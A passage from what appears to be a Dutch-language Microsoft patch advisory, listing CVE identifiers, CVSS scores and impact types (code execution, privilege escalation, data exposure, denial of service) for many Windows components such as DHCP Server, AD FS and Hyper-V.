tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 